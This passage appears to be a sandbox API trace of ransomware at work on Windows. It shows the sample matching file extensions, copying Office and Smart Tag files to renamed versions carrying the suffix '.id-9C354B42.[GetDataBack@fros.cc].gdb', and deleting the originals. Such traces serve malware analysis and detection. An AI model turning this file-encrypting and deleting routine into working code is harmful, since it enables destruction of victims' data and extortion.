lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.446] lstrlenW (lpString=".doc") returned 4 [0121.446] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString=".docx") returned 5 [0121.446] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0121.446] lstrlenW (lpString=".pdf") returned 4 [0121.446] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString=".xls") returned 4 [0121.446] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString=".xlsx") returned 5 [0121.446] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0121.446] lstrlenW (lpString=".ppt") returned 4 [0121.446] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.446] lstrlenW (lpString=".zip") returned 4 [0121.446] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.446] lstrlenW (lpString=".rar") returned 4 [0121.446] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.446] lstrlenW (lpString=".bz2") returned 4 [0121.446] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.447] lstrlenW (lpString=".7z") returned 3 [0121.447] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.447] lstrlenW (lpString=".dbf") returned 4 [0121.447] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.447] lstrlenW (lpString=".1cd") returned 4 [0121.447] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\SETUP.XML") returned 96 [0121.447] lstrlenW (lpString=".jpg") returned 4 [0121.447] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.447] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.447] lstrlenW (lpString="VisiorWW.XML") returned 12 [0121.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.447] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=8723) returned 1 [0121.447] CloseHandle (hObject=0x200) returned 1 [0121.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 0x20 [0121.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.447] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.448] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.449] GetLastError () returned 0x0 [0121.449] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x2213, lpOverlapped=0x0) returned 1 [0121.734] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x2220, lpOverlapped=0x0) returned 1 [0121.735] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0121.735] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xec, lpOverlapped=0x0) returned 1 [0121.735] SetEndOfFile (hFile=0x210) returned 1 [0121.736] CloseHandle (hObject=0x210) returned 1 [0121.736] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.736] SetEndOfFile (hFile=0x200) returned 1 [0121.737] CloseHandle (hObject=0x200) returned 1 [0121.737] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.737] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0121.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.738] lstrlenW (lpString=".doc") returned 4 [0121.738] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.738] lstrlenW (lpString=".docx") returned 5 [0121.738] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0121.738] lstrlenW (lpString=".pdf") returned 4 [0121.738] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.738] lstrlenW (lpString=".xls") returned 4 [0121.738] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.738] lstrlenW (lpString=".xlsx") returned 5 [0121.738] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0121.738] lstrlenW (lpString=".ppt") returned 4 [0121.738] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.738] lstrlenW (lpString=".zip") returned 4 [0121.738] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.738] lstrlenW (lpString=".rar") returned 4 [0121.738] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.738] lstrlenW (lpString=".bz2") returned 4 [0121.738] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.738] lstrlenW (lpString=".7z") returned 3 [0121.738] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.738] lstrlenW (lpString=".dbf") returned 4 [0121.738] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.738] lstrlenW (lpString=".1cd") returned 4 [0121.738] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.738] lstrlenW (lpString=".jpg") returned 4 [0121.739] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.739] lstrlenW (lpString=".doc") returned 4 [0121.739] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.739] lstrlenW (lpString=".docx") returned 5 [0121.739] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0121.739] lstrlenW (lpString=".pdf") returned 4 [0121.739] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.739] lstrlenW (lpString=".xls") returned 4 [0121.739] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.739] lstrlenW (lpString=".xlsx") returned 5 [0121.739] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0121.739] lstrlenW (lpString=".ppt") returned 4 [0121.739] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.739] lstrlenW (lpString=".zip") returned 4 [0121.739] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.739] lstrlenW (lpString=".rar") returned 4 [0121.739] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.739] lstrlenW (lpString=".bz2") returned 4 [0121.739] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.739] lstrlenW (lpString=".7z") returned 3 [0121.739] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.739] lstrlenW (lpString=".dbf") returned 4 [0121.739] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.739] lstrlenW (lpString=".1cd") returned 4 [0121.739] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.739] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0121.739] lstrlenW (lpString=".jpg") returned 4 [0121.739] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.740] lstrcmpiW (lpString1=".XML", lpString2=".gdb") returned 1 [0121.740] lstrlenW (lpString="WordMUI.XML") returned 11 [0121.740] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.741] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=1800) returned 1 [0121.741] CloseHandle (hObject=0x200) returned 1 [0121.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 0x20 [0121.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.741] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.741] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.741] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0121.742] GetLastError () returned 0x0 [0121.742] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x708, lpOverlapped=0x0) returned 1 [0121.743] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x710, lpOverlapped=0x0) returned 1 [0121.744] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0121.744] WriteFile (in: hFile=0x210, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0121.744] SetEndOfFile (hFile=0x210) returned 1 [0121.745] CloseHandle (hObject=0x210) returned 1 [0121.745] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.745] SetEndOfFile (hFile=0x200) returned 1 [0121.746] CloseHandle (hObject=0x200) returned 1 [0121.746] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.746] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml")) returned 1 [0121.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.747] lstrlenW (lpString=".doc") returned 4 [0121.747] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.747] lstrlenW (lpString=".docx") returned 5 [0121.747] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0121.747] lstrlenW (lpString=".pdf") returned 4 [0121.747] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.747] lstrlenW (lpString=".xls") returned 4 [0121.747] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.747] lstrlenW (lpString=".xlsx") returned 5 [0121.747] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0121.747] lstrlenW (lpString=".ppt") returned 4 [0121.747] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.747] lstrlenW (lpString=".zip") returned 4 [0121.747] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.747] lstrlenW (lpString=".rar") returned 4 [0121.747] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.747] lstrlenW (lpString=".bz2") returned 4 [0121.747] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.747] lstrlenW (lpString=".7z") returned 3 [0121.747] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.747] lstrlenW (lpString=".dbf") returned 4 [0121.747] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.747] lstrlenW (lpString=".1cd") returned 4 [0121.747] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.747] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.747] lstrlenW (lpString=".jpg") returned 4 [0121.748] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.748] lstrlenW (lpString=".doc") returned 4 [0121.748] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0121.748] lstrlenW (lpString=".docx") returned 5 [0121.748] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0121.748] lstrlenW (lpString=".pdf") returned 4 [0121.748] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0121.748] lstrlenW (lpString=".xls") returned 4 [0121.748] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0121.748] lstrlenW (lpString=".xlsx") returned 5 [0121.748] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0121.748] lstrlenW (lpString=".ppt") returned 4 [0121.748] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0121.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.748] lstrlenW (lpString=".zip") returned 4 [0121.748] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0121.748] lstrlenW (lpString=".rar") returned 4 [0121.748] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0121.748] lstrlenW (lpString=".bz2") returned 4 [0121.748] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0121.748] lstrlenW (lpString=".7z") returned 3 [0121.748] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0121.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.748] lstrlenW (lpString=".dbf") returned 4 [0121.748] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0121.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.748] lstrlenW (lpString=".1cd") returned 4 [0121.748] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0121.748] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0121.749] lstrlenW (lpString=".jpg") returned 4 [0121.749] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0121.749] lstrcmpiW (lpString1=".HTM", lpString2=".gdb") returned 1 [0121.749] lstrlenW (lpString="MCABOUT.HTM") returned 11 [0121.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.749] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x33f7cc | out: lpFileSize=0x33f7cc*=11463) returned 1 [0121.749] CloseHandle (hObject=0x200) returned 1 [0121.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 0x20 [0121.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0121.749] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0121.750] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.750] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.750] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0121.753] GetLastError () returned 0x0 [0121.753] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x2cc7, lpOverlapped=0x0) returned 1 [0121.755] WriteFile (in: hFile=0x218, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0x2cd0, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0x2cd0, lpOverlapped=0x0) returned 1 [0121.756] ReadFile (in: hFile=0x200, lpBuffer=0x2e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33f784, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesRead=0x33f784*=0x0, lpOverlapped=0x0) returned 1 [0121.756] WriteFile (in: hFile=0x218, lpBuffer=0x2e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33f54c, lpOverlapped=0x0 | out: lpBuffer=0x2e50020*, lpNumberOfBytesWritten=0x33f54c*=0xea, lpOverlapped=0x0) returned 1 [0121.756] SetEndOfFile (hFile=0x218) returned 1 [0121.756] CloseHandle (hObject=0x218) returned 1 [0121.757] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33f778 | out: lpNewFilePointer=0x0) returned 1 [0121.757] SetEndOfFile (hFile=0x200) returned 1 [0121.757] CloseHandle (hObject=0x200) returned 1 [0121.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x20) returned 1 [0121.758] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm")) returned 1 [0121.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.758] lstrlenW (lpString=".doc") returned 4 [0121.758] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0121.758] lstrlenW (lpString=".docx") returned 5 [0121.758] lstrcmpiW (lpString1=".docx", lpString2="T.HTM") returned -1 [0121.758] lstrlenW (lpString=".pdf") returned 4 [0121.758] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0121.758] lstrlenW (lpString=".xls") returned 4 [0121.758] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0121.758] lstrlenW (lpString=".xlsx") returned 5 [0121.758] lstrcmpiW (lpString1=".xlsx", lpString2="T.HTM") returned -1 [0121.758] lstrlenW (lpString=".ppt") returned 4 [0121.758] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0121.758] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.758] lstrlenW (lpString=".zip") returned 4 [0121.758] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0121.758] lstrlenW (lpString=".rar") returned 4 [0121.758] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0121.759] lstrlenW (lpString=".bz2") returned 4 [0121.759] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0121.759] lstrlenW (lpString=".7z") returned 3 [0121.759] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0121.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM") returned 73 [0121.759] lstrlenW (lpString=".dbf") returned 4 [0121.759] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0121.759] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart 